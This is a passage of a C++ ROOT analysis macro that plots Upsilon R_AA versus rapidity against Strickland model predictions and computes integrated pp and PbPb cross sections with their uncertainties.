+/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofRes << (binsRap2010[j]).c_str() << \" & \" << setprecision(3) << \n\t RAA_2S_tnp_rap[j] << \" \\\\pm \"<<\n\t RAA_2S_tnp_rape[j]<<\" \\\\pm \"<<\n\t RAA_2S_tnp_raps[j]<<\" \\\\pm \"<<\n\t RAA_2S_tnp_rap[j]*systXS_raa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n\n /// for plots, to share with your friends on facebook\n ofplot<<\"float raa2Srap[\"<<nRapBins_2010<<\"]={\";\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofplot <<RAA_2S_tnp_rap[j]; if (j==nRapBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa2Srap_e[\"<<nRapBins_2010<<\"]={\";\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofplot <<RAA_2S_tnp_rape[j]; if (j==nRapBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa2Srap_s[\"<<nRapBins_2010<<\"]={\";\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofplot <<RAA_2S_tnp_raps[j]; if (j==nRapBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n } \n ofplot<<\"float rapbin2[\"<<nRapBins_2010<<\"]={\";\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofplot <<rap2010[j]; if (j==nRapBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float rapbin2_e[\"<<nRapBins_2010<<\"]={\";\n for(int j =0 ; j<nRapBins_2010 ; j++)\n {\n ofplot <<rap2010e[j]; if (j==nRapBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n\n // 6. RAA rap plot\n TCanvas *cRaarap = new TCanvas(\"cRaarap\",\"cRaarap\"); \n cRaarap->cd();\n TF1 *f4RaaRap = new TF1(\"f4RaaRap\",\"1\",0,2.4);\n f4RaaRap->SetLineWidth(1);\n f4RaaRap->SetLineColor(kBlack);\n f4RaaRap->GetXaxis()->SetTitle(\"|y|\");\n f4RaaRap->GetYaxis()->SetTitle(\"R_{AA}\");\n // f4Rapaa->GetYaxis()->SetTitle(\"#frac{1}{T_{AA}} #frac{dN}{dy} [nb]\");\n f4RaaRap->GetXaxis()->SetTitleOffset(f4RaaRap->GetXaxis()->GetTitleOffset()*1.1);\n f4RaaRap->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4RaaRap->GetYaxis()->SetRangeUser(0.,1.2);\n f4RaaRap->GetXaxis()->CenterTitle(kTRUE);\n f4RaaRap->Draw();\n TGraphErrors *grap1TNPRAA = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,0,RAA_1S_tnp_rape);\n grap1TNPRAA->SetMarkerColor(color1Sraa);\n grap1TNPRAA->SetMarkerStyle(symbol1S);\n grap1TNPRAA->SetMarkerSize(markerSize);\n TGraphErrors *grap1circleRAA = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,0,RAA_1S_tnp_rape);\n grap1circleRAA->SetMarkerStyle(symbol1Sc);\n grap1circleRAA->SetMarkerSize(markerSize);\n grap1circleRAA->SetLineColor(kBlack);\n grap1circleRAA->SetLineWidth(2);\n TGraphErrors *gRap1RAAsyst = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,rap2014e,RAA_1S_tnp_raps);\n gRap1RAAsyst->SetLineColor(color1Sraa);\n gRap1RAAsyst->SetFillStyle(0);\n gRap1RAAsyst->SetLineWidth(2);\n gRap1RAAsyst->SetMarkerSize(0);\n gRap1RAAsyst->Draw(\"2\");\n grap1TNPRAA->Draw(\"pe\");\n grap1circleRAA->Draw(\"p\");\n TGraphErrors *grap2TNPRAA = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,0,RAA_2S_tnp_rape);\n grap2TNPRAA->SetMarkerColor(color2Sraa);\n grap2TNPRAA->SetMarkerStyle(symbol2S);\n grap2TNPRAA->SetMarkerSize(markerSize);\n TGraphErrors *grap2circleRAA =new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,0,RAA_2S_tnp_rape);\n grap2circleRAA->SetMarkerStyle(symbol2Sc); \n grap2circleRAA->SetMarkerSize(markerSize);\n grap2circleRAA->SetLineColor(kBlack);\n grap2circleRAA->SetLineWidth(2);\n TGraphErrors *gRap2RAAsyst = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,rap2010e,RAA_2S_tnp_raps);\n gRap2RAAsyst->SetLineColor(color2Sraa);\n gRap2RAAsyst->SetFillStyle(0);\n gRap2RAAsyst->SetLineWidth(2);\n gRap2RAAsyst->SetMarkerSize(0);\n gRap2RAAsyst->Draw(\"2\");\n grap2TNPRAA->Draw(\"pe\");\n grap2circleRAA->Draw(\"p\");\n\n TLegend *legend_RAArap = new TLegend(0.24,0.55,0.49,0.66);\n legend_RAArap->SetTextSize(gTextSize);\n legend_RAArap->SetFillStyle(0);\n legend_RAArap->SetFillColor(0);\n legend_RAArap->SetBorderSize(0);\n legend_RAArap->SetTextFont(42);\n legend_RAArap->AddEntry(grap1TNPRAA,\"#varUpsilon(1S) \",\"pe\"); \n legend_RAArap->AddEntry(grap2TNPRAA,\"#varUpsilon(2S) \",\"pe\");\n legend_RAArap->Draw();\n \n // Cent. 0-100 %\n TLatex latexrapRaa;\n latexrapRaa.SetTextSize(gTextSize);\n latexrapRaa.SetTextFont(42);\n latexrapRaa.DrawLatex(0.2,.9,\"Cent. 0-100%\"); // y=1.2 in the previous version\n if (!plotBox) {\n latexrapRaa.DrawLatex(0.2,0.83,Form(\"Global uncertainty: %.1f\",100*systXS_raa_glob));\n latexrapRaa.DrawLatex(1.27,0.83,\"%\"); /// y=1.1\n } else{\n //plotBox\n TBox *boxRap = new TBox(2.3,1-systXS_raa_glob,2.4,1+systXS_raa_glob); \n boxRap->SetFillColor(kGray);\n boxRap->Draw();\n } \n\n CMS_lumi(cRaarap,103,33);\n cRaarap->Update();\n cRaarap->RedrawAxis();\n cRaarap->GetFrame()->Draw();\n cRaarap->SaveAs(basedir2 + TString(\"/RAA_Rap.pdf\"));\n cRaarap->SaveAs(basedir2 + TString(\"/RAA_Rap.png\"));\n cRaarap->SaveAs(basedir1 + TString(\"/pdf/RAA_Rap.pdf\"));\n cRaarap->SaveAs(basedir1 + TString(\"/png/RAA_Rap.png\"));\n\n //// ALICE + Strickland + CMS\n // 6. RAA rap plot\n TCanvas *cRaarapAS = new TCanvas(\"cRaarapAS\",\"cRaarapAS\"); \n cRaarapAS->cd();\n TF1 *f4RaaRapAS = new TF1(\"f4RaaRapAS\",\"1\",0,2.4);\n f4RaaRapAS->SetLineWidth(1);\n f4RaaRapAS->SetLineColor(kBlack);\n f4RaaRapAS->GetXaxis()->SetTitle(\"|y|\");\n f4RaaRapAS->GetYaxis()->SetTitle(\"R_{AA}\");\n // f4Rapaa->GetYaxis()->SetTitle(\"#frac{1}{T_{AA}} #frac{dN}{dy} [nb]\");\n f4RaaRapAS->GetXaxis()->SetTitleOffset(f4RaaRapAS->GetXaxis()->GetTitleOffset()*1.1);\n f4RaaRapAS->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4RaaRapAS->GetYaxis()->SetRangeUser(0.,1.2);\n f4RaaRapAS->GetXaxis()->CenterTitle(kTRUE);\n f4RaaRapAS->Draw();\n TGraphErrors *grapAS1TNPRAA = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,0,RAA_1S_tnp_rape);\n grapAS1TNPRAA->SetMarkerColor(color1Sraa);\n grapAS1TNPRAA->SetMarkerStyle(symbol1S);\n grapAS1TNPRAA->SetMarkerSize(markerSize);\n TGraphErrors *grapAS1circleRAA = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,0,RAA_1S_tnp_rape);\n grapAS1circleRAA->SetMarkerStyle(symbol1Sc);\n grapAS1circleRAA->SetMarkerSize(markerSize);\n grapAS1circleRAA->SetLineColor(kBlack);\n grapAS1circleRAA->SetLineWidth(2);\n TGraphErrors *gRapAS1RAAsyst = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_tnp_rap,rap2014e,RAA_1S_tnp_raps);\n gRapAS1RAAsyst->SetLineColor(color1Sraa);\n gRapAS1RAAsyst->SetFillStyle(0);\n gRapAS1RAAsyst->SetLineWidth(2);\n gRapAS1RAAsyst->SetMarkerSize(0);\n gRapAS1RAAsyst->Draw(\"2\");\n grapAS1TNPRAA->Draw(\"pe\");\n grapAS1circleRAA->Draw(\"p\");\n TGraphErrors *grapAS2TNPRAA = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,0,RAA_2S_tnp_rape);\n grapAS2TNPRAA->SetMarkerColor(color2Sraa);\n grapAS2TNPRAA->SetMarkerStyle(symbol2S);\n grapAS2TNPRAA->SetMarkerSize(markerSize);\n TGraphErrors *grapAS2circleRAA =new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,0,RAA_2S_tnp_rape);\n grapAS2circleRAA->SetMarkerStyle(symbol2Sc); \n grapAS2circleRAA->SetMarkerSize(markerSize);\n grapAS2circleRAA->SetLineColor(kBlack);\n grapAS2circleRAA->SetLineWidth(2);\n TGraphErrors *gRapAS2RAAsyst = new TGraphErrors(nRapBins_2010,rap2010,RAA_2S_tnp_rap,rap2010e,RAA_2S_tnp_raps);\n gRapAS2RAAsyst->SetLineColor(color2Sraa);\n gRapAS2RAAsyst->SetFillStyle(0);\n gRapAS2RAAsyst->SetLineWidth(2);\n gRapAS2RAAsyst->SetMarkerSize(0);\n gRapAS2RAAsyst->Draw(\"2\");\n grapAS2TNPRAA->Draw(\"pe\");\n grapAS2circleRAA->Draw(\"p\");\n\n //defining ALICE stuff in a larger scope...\n ///RAA Upsilon ALICE \n // http://arxiv.org/pdf/1405.4493v3.pdf\n float ALICE_RAP[2]={2.85,3.6};\n float ALICE_RAPe[2]={0.35,0.4};\n\n float ALICE_PT[7]= {0.5,1.5,2.5,3.5,4.5,5.5,7};\n float ALICE_PTe[7]={0.5,0.5,0.5,0.5,0.5,0.5,1};\n \n float ALICE_RAA_1S_rap[2]={0.30,0.29};\n float ALICE_RAA_1S_rape[2]={0.05,0.07};\n float ALICE_RAA_1S_raps[2]={0.04,0.05};\n float AliceBox=0.12;\n float AliceBoxKin=0.08;\n \n TGraphErrors *ga1rps= new TGraphErrors(2,ALICE_RAP,ALICE_RAA_1S_rap,rapbin1_e,ALICE_RAA_1S_raps); \n ga1rps->SetLineColor(ALICE);\n ga1rps->SetFillStyle(0);\n ga1rps->SetLineWidth(2);\n ga1rps->SetMarkerSize(0);\n TGraphErrors *ga1r = new TGraphErrors(2,ALICE_RAP,ALICE_RAA_1S_rap,rapbin1_e,ALICE_RAA_1S_rape); \n ga1r->SetMarkerColor(ALICE);\n ga1r->SetMarkerStyle(filledCross);\n ga1r->SetMarkerSize(1.5*markerSize);\n TGraphErrors *ga1rc = new TGraphErrors(2,ALICE_RAP,ALICE_RAA_1S_rap,rapbin1_e,ALICE_RAA_1S_rape);\n ga1rc->SetMarkerStyle(filledCross);\n ga1rc->SetMarkerSize(1.5*markerSize);\n ga1rc->SetLineColor(ALICE);\n ga1rc->SetLineWidth(2);\n // DONT DRAW IF YOU DONT WANT TO\n // ga1rps->Draw(\"2\");\n // ga1r->Draw(\"pe\");\n // ga1rc->Draw(\"p\");\n //M.Strickland data part\n ////Strickland comparisons are now based on his '5TeV predictions' paper, which has 2.76 as a reference. The advantage is basically more points on the prediction curve. Check out https://arxiv.org/src/1605.03561v1/anc\n float rap_th[36];\n float raa1Srap_the1x0[36], raa1Srap_the2x0[36], raa1Srap_the3x0[36];\n float raa2Srap_the1x0[36], raa2Srap_the2x0[36], raa2Srap_the3x0[36];\n ifstream irap1Sx0;\n ifstream irap2Sx0;\n // this is the input file for 1Srap and xi=0\n irap1Sx0.open(\"Strick_Rapidity_1S_xi0.tsv\");\n irap2Sx0.open(\"Strick_Rapidity_2S_xi0.tsv\");\n for (int i=0; i<36;i++){\n\tirap1Sx0>> rap_th[i]>> raa1Srap_the1x0[i]>> raa1Srap_the2x0[i]>> raa1Srap_the3x0[i];\n\tirap2Sx0>> rap_th[i]>> raa2Srap_the1x0[i]>> raa2Srap_the2x0[i]>> raa2Srap_the3x0[i];\n }\n TGraph *sups1Srap1x0 = new TGraph(35,rap_th,raa1Srap_the1x0);\n sups1Srap1x0->SetLineWidth(2);\n sups1Srap1x0->SetLineColor(color1Sraa);\n sups1Srap1x0->SetLineStyle(1);\n sups1Srap1x0->Draw(\"l same\");\n TGraph *sups1Srap2x0 = new TGraph(35,rap_th,raa1Srap_the2x0);\n sups1Srap2x0->SetLineWidth(2);\n sups1Srap2x0->SetLineColor(color1Sraa);\n sups1Srap2x0->SetLineStyle(2);\n sups1Srap2x0->Draw(\"l same\");\n TGraph *sups1Srap3x0 = new TGraph(35,rap_th,raa1Srap_the3x0);\n sups1Srap3x0->SetLineWidth(2);\n sups1Srap3x0->SetLineColor(color1Sraa);\n sups1Srap3x0->SetLineStyle(3);\n sups1Srap3x0->Draw(\"l same\");\n TGraph *sups2Srap1x0 = new TGraph(35,rap_th,raa2Srap_the1x0);\n sups2Srap1x0->SetLineWidth(2);\n sups2Srap1x0->SetLineColor(color2Sraa);\n sups2Srap1x0->SetLineStyle(1);\n sups2Srap1x0->Draw(\"l same\");\n TGraph *sups2Srap2x0 = new TGraph(35,rap_th,raa2Srap_the2x0);\n sups2Srap2x0->SetLineWidth(2);\n sups2Srap2x0->SetLineColor(color2Sraa);\n sups2Srap2x0->SetLineStyle(2);\n sups2Srap2x0->Draw(\"l same\");\n TGraph *sups2Srap3x0 = new TGraph(35,rap_th,raa2Srap_the3x0);\n sups2Srap3x0->SetLineWidth(2);\n sups2Srap3x0->SetLineColor(color2Sraa);\n sups2Srap3x0->SetLineStyle(3);\n sups2Srap3x0->Draw(\"l same\");\n TLegend *legR2AS= new TLegend(0.42,0.68,0.75,0.78);\n legR2AS->SetBorderSize(0);\n legR2AS->SetTextSize(gTextSize-0.01);\n legR2AS->SetTextFont(42);\n legR2AS->SetLineColor(0);\n legR2AS->SetLineStyle(1);\n legR2AS->SetLineWidth(2);\n legR2AS->SetFillColor(0);\n legR2AS->SetFillStyle(0);\n TLegend *legR3AS = new TLegend(0.2,0.79,0.48,0.9);\n legR3AS->SetBorderSize(0);\n legR3AS->SetTextSize(gTextSize-0.006);\n legR3AS->SetTextFont(42);\n legR3AS->SetLineColor(0);\n legR3AS->SetLineStyle(2);\n legR3AS->SetLineWidth(1);\n legR3AS->SetFillColor(0);\n legR3AS->SetFillStyle(0);\n legR3AS->SetHeader(\"Strickland et al., Universe 2016, 2(3), 16\");\n\n // legR2AS->SetHeader(\"ALICE \"); // (PLB 738 (2014) 361)\n legR2AS->AddEntry(ga1rc,\"#varUpsilon(1S) PLB 738(2014) 361\",\"P\");\n // legR3AS->SetTextSize(gTextSize-08005);\n \n // legR2AS->Draw();\n legR3AS->Draw();\n TLegend *legend_RAArapAS = new TLegend(0.2,0.52,0.6,0.78);\n legend_RAArapAS->SetTextSize(gTextSize-0.006);\n legend_RAArapAS->SetFillStyle(0);\n legend_RAArapAS->SetFillColor(0);\n legend_RAArapAS->SetBorderSize(0);\n legend_RAArapAS->SetTextFont(42);\n legend_RAArapAS->AddEntry(sups1Srap3x0,\" 4#pi#eta/s = 3\",\"L\");\n legend_RAArapAS->AddEntry(sups1Srap2x0,\" 4#pi#eta/s = 2\",\"L\");\n legend_RAArapAS->AddEntry(sups1Srap1x0,\" 4#pi#eta/s = 1\",\"L\");\n legend_RAArapAS->AddEntry(grapAS1TNPRAA,\"#varUpsilon(1S) \",\"pe\"); \n legend_RAArapAS->AddEntry(grapAS2TNPRAA,\"#varUpsilon(2S) \",\"pe\");\n legend_RAArapAS->Draw();\n \n // Cent. 0-100 %\n TLatex latexrapASRaa;\n latexrapASRaa.SetTextSize(gTextSize);\n latexrapASRaa.SetTextFont(42);\n latexrapASRaa.DrawLatex(1.2,0.65,\"Cent. 0-100%\"); // y=1.2 in the previous version\n if (!plotBox) {\n latexrapASRaa.DrawLatex(0.2,0.83,Form(\"Global uncertainty: %.1f\",100*systXS_raa_glob));\n latexrapASRaa.DrawLatex(1.27,0.83,\"%\"); /// y=1.1\n } else{\n //plotBox\n TBox *boxRapAS = new TBox(2.3,1-systXS_raa_glob,2.4,1+systXS_raa_glob); // OR 3.8/4\n boxRapAS->SetFillColor(kGray);\n boxRapAS->Draw();\n } \n\n CMS_lumi(cRaarapAS,104,33);\n cRaarapAS->Update();\n cRaarapAS->RedrawAxis();\n cRaarapAS->GetFrame()->Draw();\n cRaarapAS->SaveAs(basedir1 + TString(\"/pdf/RAA_Rap_Strickland.pdf\"));\n cRaarapAS->SaveAs(basedir1 + TString(\"/png/RAA_Rap_Strickland.png\"));\n cRaarapAS->SaveAs(basedir2 + TString(\"/RAA_Rap_Strickland.pdf\"));\n cRaarapAS->SaveAs(basedir2 + TString(\"/RAA_Rap_Strickland.png\"));\n\n ///===============================\n /// Integrated cross sections (pt<40 actually)\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n ///-------------------------------\n /// 1.a.pp\n float CS1S_pp_tot;\n float CS1S_pp_tote;\n float CS1S_pp_tots;\n \n float CS2S_pp_tot;\n float CS2S_pp_tote;\n float CS2S_pp_tots;\n \n float CS3S_pp_tot;\n float CS3S_pp_tote;\n float CS3S_pp_tots;\n /// 1.b.aa\n float CS1S_aa_tot;\n float CS1S_aa_tote;\n float CS1S_aa_tots;\n\n float CS2S_aa_tot;\n float CS2S_aa_tote;\n float CS2S_aa_tots;\n\n float CS3S_aa_tot;\n float CS3S_aa_tote;\n float CS3S_aa_tots;\n /// 2.a.pp\n float stat1S_pp_tot; //fit syst. uncertainty.\n float syst1S_pptnp_tot; // tnp uncertainty\n float syst1S_pp_tot; //fit syst. uncertainty.\n float syst1S_ppgs_tot; //gen shape\n float syst1S_ppsta_tot; ///sta uncertainty\n float syst1S_ppmuid_tot;/// muid uncertainty\n float syst1S_cspp_tot; /// quadratic sum.\n\n float stat2S_pp_tot; //fit syst. uncertainty.\n float syst2S_pptnp_tot;// tnp uncertainty\n float syst2S_pp_tot; //fit syst. uncertainty.\n float syst2S_ppgs_tot; //gen shape\n float syst2S_ppsta_tot; ///sta uncertainty\n float syst2S_ppmuid_tot;/// muid uncertainty\n float syst2S_cspp_tot; /// quadratic sum.\n\n float stat3S_pp_tot; //fit syst. uncertainty.\n float syst3S_pptnp_tot;// tnp uncertainty\n float syst3S_pp_tot; //fit syst. uncertainty.\n float syst3S_ppgs_tot; //gen shape\n float syst3S_ppsta_tot; ///sta uncertainty\n float syst3S_ppmuid_tot;/// muid uncertainty\n float syst3S_cspp_tot; /// quadratic sum.\n /// 2.b.aa\n float stat1S_aa_tot; //fit syst. uncertainty.\n float syst1S_aatnp_tot;// tnp uncertainty\n float syst1S_aa_tot; //fit syst. uncertainty.\n float syst1S_aags_tot; //gen shape\n float syst1S_aasta_tot; ///sta uncertainty\n float syst1S_aamuid_tot;/// muid uncertainty\n float syst1S_csaa_tot; /// quadratic sum.\n\n float stat2S_aa_tot; //fit syst. uncertainty.\n float syst2S_aatnp_tot;// tnp uncertainty\n float syst2S_aa_tot; //fit syst. uncertainty.\n float syst2S_aags_tot; //gen shape\n float syst2S_aasta_tot; ///sta uncertainty\n float syst2S_aamuid_tot;/// muid uncertainty\n float syst2S_csaa_tot; /// quadratic sum.\n // rest not used!\n float stat3S_aa_tot; //fit syst. uncertainty.\n float syst3S_aatnp_tot;// tnp uncertainty\n float syst3S_aa_tot; //fit syst. uncertainty.\n float syst3S_aags_tot; //gen shape\n float syst3S_aasta_tot; ///sta uncertainty\n float syst3S_aamuid_tot;/// muid uncertainty\n float syst3S_csaa_tot; /// quadratic sum.\n // 3.a pp syst computation\n stat1S_pp_tot=N1S_pp_tot3p5e/N1S_pp_tot3p5;\n syst1S_pp_tot=N1S_pp_tot3p5s; //fitting\n syst1S_pptnp_tot=Aet_1S_pythia_tots/Aet_1S_pythia_tot; // is the full tnp syst (muidtrg+sta added in quadrature)\n syst1S_ppgs_tot=Aet_1S_pythia_totgse/Aet_1S_pythia_tot; // gs only (very small)\n syst1S_ppsta_tot=t_1S_pythia_tot3p5_STAe/t_1S_pythia_tot3p5;\n syst1S_ppmuid_tot=t_1S_pythia_tot3p5e/t_1S_pythia_tot3p5;\n syst1S_cspp_tot=sqrt(syst1S_pptnp_tot*syst1S_pptnp_tot+syst1S_pp_tot*syst1S_pp_tot+pow(syst1S_ppgs_tot,2));\n\n stat2S_pp_tot=N2S_pp_tot4e/N2S_pp_tot4;\n syst2S_pp_tot=N2S_pp_tot4s; //fitting\n syst2S_pptnp_tot=Aet_2S_pythia_tots/Aet_2S_pythia_tot; // is the full tnp syst (muidtrg+sta added in quadrature)\n syst2S_ppgs_tot=Aet_2S_pythia_totgse/Aet_2S_pythia_tot; // gs only (very small)\n syst2S_ppsta_tot=Aet_2S_pythia_tot_STAe/Aet_2S_pythia_tot;\n syst2S_ppmuid_tot=Aet_2S_pythia_tot_muIDe/Aet_2S_pythia_tot;\n syst2S_cspp_tot=sqrt(syst2S_pptnp_tot*syst2S_pptnp_tot+syst2S_pp_tot*syst2S_pp_tot+pow(syst2S_ppgs_tot,2));\n\n stat3S_pp_tot=N3S_pp_tot4e/N3S_pp_tot4;\n syst3S_pp_tot=N3S_pp_tot4s; //fitting\n syst3S_pptnp_tot=Aet_3S_pythia_tote/Aet_3S_pythia_tot; //fulls is the full tnp syst (muidtrg+sta added in quadrature)\n syst3S_ppgs_tot=Aet_3S_pythia_totgse/Aet_3S_pythia_tot; // gs only (very small)\n syst3S_ppsta_tot=Aet_3S_pythia_tot_STAe/Aet_3S_pythia_tot;\n syst3S_ppmuid_tot=Aet_3S_pythia_tot_muIDe/Aet_3S_pythia_tot;\n syst3S_cspp_tot=sqrt(syst3S_pptnp_tot*syst3S_pptnp_tot+syst3S_pp_tot*syst3S_pp_tot+pow(syst_lumi,2)+pow(tracking_pp,2)+pow(syst3S_ppgs_tot,2));\n\n // 3.b. PbPb syst\n stat1S_aa_tot=N1S_aa_tot3p5e/N1S_aa_tot3p5;\n syst1S_aa_tot=N1S_aa_tot3p5s; //fitting\n syst1S_aatnp_tot=t_1S_pyquen_tot3p5e/t_1S_pyquen_tot3p5; //fulle is the full tnp syst (muidtrg+sta added in quadrature)\n syst1S_aags_tot=Aet_1S_pyquen_totgse/Aet_1S_pyquen_tot; // gs only (very small)\n syst1S_aasta_tot=Aet_1S_pyquen_tot3p5_STAe/Aet_1S_pyquen_tot;\n syst1S_aamuid_tot=Aet_1S_pyquen_tot3p5_muIDe/Aet_1S_pyquen_tot;\n syst1S_csaa_tot=sqrt(syst1S_aatnp_tot*syst1S_aatnp_tot+syst1S_aa_tot*syst1S_aa_tot+pow(syst1S_aags_tot,2));\n\n stat2S_aa_tot=N2S_aa_tot4e/N2S_aa_tot4;\n syst2S_aa_tot=N2S_aa_tot4s; //fitting\n syst2S_aatnp_tot=Aet_2S_pyquen_tots/Aet_2S_pyquen_tot; //fulle is the full tnp syst (muidtrg+sta added in quadrature)\n syst2S_aags_tot=Aet_2S_pyquen_totgse/Aet_2S_pyquen_tot; // gs only (very small)\n syst2S_aasta_tot=Aet_2S_pyquen_tot_STAe/Aet_2S_pyquen_tot;\n syst2S_aamuid_tot=Aet_2S_pyquen_tot_muIDe/Aet_2S_pyquen_tot;\n syst2S_csaa_tot=sqrt(syst2S_aatnp_tot*syst2S_aatnp_tot+syst2S_aa_tot*syst2S_aa_tot+pow(syst2S_aags_tot,2));\n // 4.a compute pp cross section\n CS1S_pp_tot= computeRatio(N1S_pp_tot3p5,Aet_1S_pythia_tot)/(L_pp_invNb*RapBinWidth);\n CS1S_pp_tote= computeRatioError(N1S_pp_tot3p5,Aet_1S_pythia_tot,N1S_pp_tot3p5e,0)/(L_pp_invNb*RapBinWidth);\n CS1S_pp_tots= CS1S_pp_tot*syst1S_cspp_tot;\n CS2S_pp_tot= computeRatio(N2S_pp_tot4,Aet_2S_pythia_tot)/(L_pp_invNb*RapBinWidth);\n CS2S_pp_tote= computeRatioError(N2S_pp_tot4,Aet_2S_pythia_tot,N2S_pp_tot4e,0)/(L_pp_invNb*RapBinWidth);\n CS2S_pp_tots= CS2S_pp_tot*syst2S_cspp_tot;\n CS3S_pp_tot= computeRatio(N3S_pp_tot4,Aet_3S_pythia_tot)/(L_pp_invNb*RapBinWidth);\n CS3S_pp_tote= computeRatioError(N3S_pp_tot4,Aet_3S_pythia_tot,N3S_pp_tot4e,0)/(L_pp_invNb*RapBinWidth);\n CS3S_pp_tots= CS3S_pp_tot*syst3S_cspp_tot;\n // 4.b compute PbPb cross section\n CS1S_aa_tot= computeRatio(N1S_aa_tot3p5,Aet_1S_pyquen_tot)/(N_MB_corr*T_AA_b*RapBinWidth);\n CS1S_aa_tote= computeRatioError(N1S_aa_tot3p5,Aet_1S_pyquen_tot,N1S_aa_tot3p5e,0)/(N_MB_corr*T_AA_b*RapBinWidth);\n CS1S_aa_tots= CS1S_aa_tot*syst1S_csaa_tot;\n CS2S_aa_tot= computeRatio(N2S_aa_tot4,Aet_2S_pyquen_tot)/(N_MB_corr*T_AA_b*RapBinWidth);\n CS2S_aa_tote= computeRatioError(N2S_aa_tot4,Aet_2S_pyquen_tot,N2S_aa_tot4e,0)/(N_MB_corr*T_AA_b*RapBinWidth);\n CS2S_aa_tots= CS2S_aa_tot*syst2S_csaa_tot;\n /// 5.a pp\n ofSyst <<\"1S pp integrated | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n ofSyst << \"0-inf\" << \" & \" << setprecision(2) << \n stat1S_pp_tot << \" & \" <<\n syst1S_cspp_tot << \" & \" <<\n syst1S_pp_tot << \" & \" <<\n syst1S_ppgs_tot << \" & \" <<\n syst1S_ppmuid_tot << \" & \" <<\n syst1S_ppsta_tot << \" & \" <<\n syst_lumi << \" & \" <<\n tracking_pp <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"1S integrated Cross section | CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n \n ofRes << \"0-inf\" << \" & \" << setprecision(3) << \n CS1S_pp_tot << \" \\\\pm \"<<\n CS1S_pp_tote <<\" \\\\pm \"<<\n CS1S_pp_tots <<\" \\\\pm \"<<\n CS1S_pp_tot*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n\n ofSyst <<\"2S pp integrated | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n ofSyst << \"0-inf\" << \" & \" << setprecision(2) << \n stat2S_pp_tot << \" & \" <<\n syst2S_cspp_tot << \" & \" <<\n syst2S_pp_tot << \" & \" <<\n syst2S_ppgs_tot << \" & \" <<\n syst2S_ppmuid_tot << \" & \" <<\n syst2S_ppsta_tot << \" & \" <<\n syst_lumi << \" & \" <<\n tracking_pp <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"2S integrated Cross section | CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n \n ofRes << \"0-inf\" << \" & \" << setprecision(3) << \n CS2S_pp_tot << \" \\\\pm \"<<\n CS2S_pp_tote <<\" \\\\pm \"<<\n CS2S_pp_tots <<\" \\\\pm \"<<\n CS2S_pp_tot*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n\n ofSyst <<\"3S pp integrated | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n ofSyst << \"0-inf\" << \" & \" << setprecision(2) << \n stat3S_pp_tot << \" & \" <<\n syst3S_cspp_tot << \" & \" <<\n syst3S_pp_tot << \" & \" <<\n syst3S_ppgs_tot << \" & \" <<\n syst3S_ppmuid_tot << \" & \" <<\n syst3S_ppsta_tot << \" & \" <<\n syst_lumi << \" & \" <<\n tracking_pp <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"3S integrated Cross section | CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n \n ofRes << \"0-inf\" << \" & \" << setprecision(3) << \n CS3S_pp_tot << \" \\\\pm \"<<\n CS3S_pp_tote <<\" \\\\pm \"<<\n CS3S_pp_tots <<\" \\\\pm \"<<\n CS3S_pp_tot*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n \n ofSyst <<\"1S aa integrated | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n ofSyst << \"0-inf\" << \" & \" << setprecision(2) << \n stat1S_aa_tot << \" & \" <<\n syst1S_csaa_tot << \" & \" <<\n syst1S_aa_tot << \" & \" <<\n syst1S_aags_tot << \" & \" <<\n syst1S_aamuid_tot << \" & \" <<\n syst1S_aasta_tot << \" & \" <<\n syst_taa << \" & \" <<\n tracking_aa <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"1S integrated Cross section | CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n \n ofRes << \"0-inf\" << \" & \" << setprecision(3) << \n CS1S_aa_tot << \" \\\\pm \"<<\n CS1S_aa_tote <<\" \\\\pm \"<<\n CS1S_aa_tots <<\" \\\\pm \"<<\n CS1S_aa_tot*systXS_aa_glob << \" 